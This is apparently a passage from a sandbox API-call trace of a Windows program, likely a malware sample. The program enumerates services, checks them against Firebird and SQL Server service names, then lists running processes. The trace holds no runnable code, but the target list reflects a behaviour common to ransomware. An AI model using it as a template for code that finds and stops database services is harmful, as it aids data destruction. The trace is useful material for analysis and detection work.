	[0186.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0186.781] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0186.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0186.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0186.781] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0186.781] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0186.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0186.781] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0186.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0186.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0186.781] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0186.781] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0186.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0186.781] lstrlenW (lpString="CryptSvc") returned 8
	[0186.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0186.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0186.781] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0186.781] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0186.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0186.781] lstrlenW (lpString="DcomLaunch") returned 10
	[0186.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0186.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0186.781] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0186.781] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0186.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0186.781] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0186.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0186.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0186.781] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0186.782] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0186.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0186.782] lstrlenW (lpString="Dhcp") returned 4
	[0186.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0186.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0186.782] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0186.782] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0186.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0186.782] lstrlenW (lpString="Dnscache") returned 8
	[0186.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0186.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0186.782] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0186.782] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0186.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0186.782] lstrlenW (lpString="DPS") returned 3
	[0186.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0186.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0186.782] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0186.782] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0186.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0186.782] lstrlenW (lpString="DsmSvc") returned 6
	[0186.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0186.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0186.782] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0186.782] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0186.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0186.782] lstrlenW (lpString="DusmSvc") returned 7
	[0186.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0186.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0186.783] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0186.783] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0186.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0186.783] lstrlenW (lpString="EventLog") returned 8
	[0186.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0186.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0186.783] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0186.783] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0186.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0186.783] lstrlenW (lpString="EventSystem") returned 11
	[0186.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0186.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0186.783] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0186.783] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0186.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0186.783] lstrlenW (lpString="FontCache") returned 9
	[0186.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0186.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0186.783] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0186.783] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0186.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0186.783] lstrlenW (lpString="gpsvc") returned 5
	[0186.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0186.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0186.784] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0186.784] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0186.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0186.784] lstrlenW (lpString="iphlpsvc") returned 8
	[0186.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0186.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0186.784] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0186.784] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0186.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0186.784] lstrlenW (lpString="KeyIso") returned 6
	[0186.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0186.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0186.784] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0186.784] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0186.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0186.784] lstrlenW (lpString="LanmanServer") returned 12
	[0186.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0186.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0186.784] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0186.784] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0186.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0186.784] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0186.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0186.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0186.784] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0186.784] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0186.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0186.784] lstrlenW (lpString="lfsvc") returned 5
	[0186.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0186.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0186.785] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0186.785] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0186.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0186.785] lstrlenW (lpString="lmhosts") returned 7
	[0186.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0186.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0186.785] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0186.785] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0186.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0186.785] lstrlenW (lpString="LSM") returned 3
	[0186.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0186.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0186.785] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0186.785] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0186.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0186.785] lstrlenW (lpString="MpsSvc") returned 6
	[0186.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0186.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0187.107] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0187.107] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0187.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0187.107] lstrlenW (lpString="NcbService") returned 10
	[0187.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0187.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0187.108] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0187.108] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0187.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0187.108] lstrlenW (lpString="netprofm") returned 8
	[0187.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0187.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0187.108] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0187.108] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0187.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0187.108] lstrlenW (lpString="NgcSvc") returned 6
	[0187.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0187.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0187.108] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0187.108] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0187.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0187.108] lstrlenW (lpString="NlaSvc") returned 6
	[0187.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0187.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0187.108] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0187.108] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0187.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0187.108] lstrlenW (lpString="nsi") returned 3
	[0187.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0187.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0187.108] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0187.109] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0187.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0187.109] lstrlenW (lpString="PcaSvc") returned 6
	[0187.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0187.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0187.109] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0187.109] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0187.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0187.109] lstrlenW (lpString="PlugPlay") returned 8
	[0187.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0187.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0187.109] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0187.109] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0187.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0187.109] lstrlenW (lpString="Power") returned 5
	[0187.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0187.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0187.109] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0187.109] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0187.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0187.109] lstrlenW (lpString="ProfSvc") returned 7
	[0187.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0187.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0187.109] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0187.109] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0187.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0187.110] lstrlenW (lpString="RpcEptMapper") returned 12
	[0187.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0187.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0187.110] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0187.110] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0187.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0187.110] lstrlenW (lpString="RpcSs") returned 5
	[0187.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0187.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0187.110] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0187.110] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0187.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0187.110] lstrlenW (lpString="SamSs") returned 5
	[0187.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0187.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0187.110] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0187.110] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0187.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0187.110] lstrlenW (lpString="Schedule") returned 8
	[0187.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0187.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0187.110] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0187.110] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0187.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0187.110] lstrlenW (lpString="SecurityHealthService") returned 21
	[0187.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0187.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0187.111] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0187.111] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0187.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0187.111] lstrlenW (lpString="SENS") returned 4
	[0187.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0187.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0187.111] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0187.111] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0187.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0187.111] lstrlenW (lpString="ShellHWDetection") returned 16
	[0187.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0187.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0187.111] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0187.111] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0187.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0187.111] lstrlenW (lpString="Spooler") returned 7
	[0187.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0187.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0187.111] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0187.111] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0187.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0187.111] lstrlenW (lpString="StateRepository") returned 15
	[0187.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0187.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0187.112] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0187.112] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0187.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0187.112] lstrlenW (lpString="SysMain") returned 7
	[0187.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0187.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0187.112] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0187.112] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0187.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0187.112] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0187.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0187.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0187.112] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0187.112] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0187.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0187.112] lstrlenW (lpString="Themes") returned 6
	[0187.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0187.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0187.112] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0187.112] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0187.112] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45c7180 | out: hHeap=0x610000) returned 1
	[0187.112] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x5b4
	[0187.119] Process32FirstW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0187.120] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0187.120] lstrlenW (lpString="System") returned 6
	[0187.120] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0187.121] lstrlenW (lpString="smss.exe") returned 8
	[0187.121] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0187.132] lstrlenW (lpString="csrss.exe") returned 9
	[0187.132] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0187.132] lstrlenW (lpString="wininit.exe") returned 11
	[0187.132] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0187.133] lstrlenW (lpString="csrss.exe") returned 9
	[0187.133] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0187.133] lstrlenW (lpString="winlogon.exe") returned 12
	[0187.133] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0187.134] lstrlenW (lpString="services.exe") returned 12
	[0187.134] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0187.134] lstrlenW (lpString="lsass.exe") returned 9
	[0187.135] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0187.135] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0187.135] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0187.135] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0187.136] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.136] lstrlenW (lpString="svchost.exe") returned 11
	[0187.136] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0187.137] lstrlenW (lpString="svchost.exe") returned 11
	[0187.137] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0187.137] lstrlenW (lpString="dwm.exe") returned 7
	[0187.137] Process32NextW (in: hSnapshot=0x5b4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
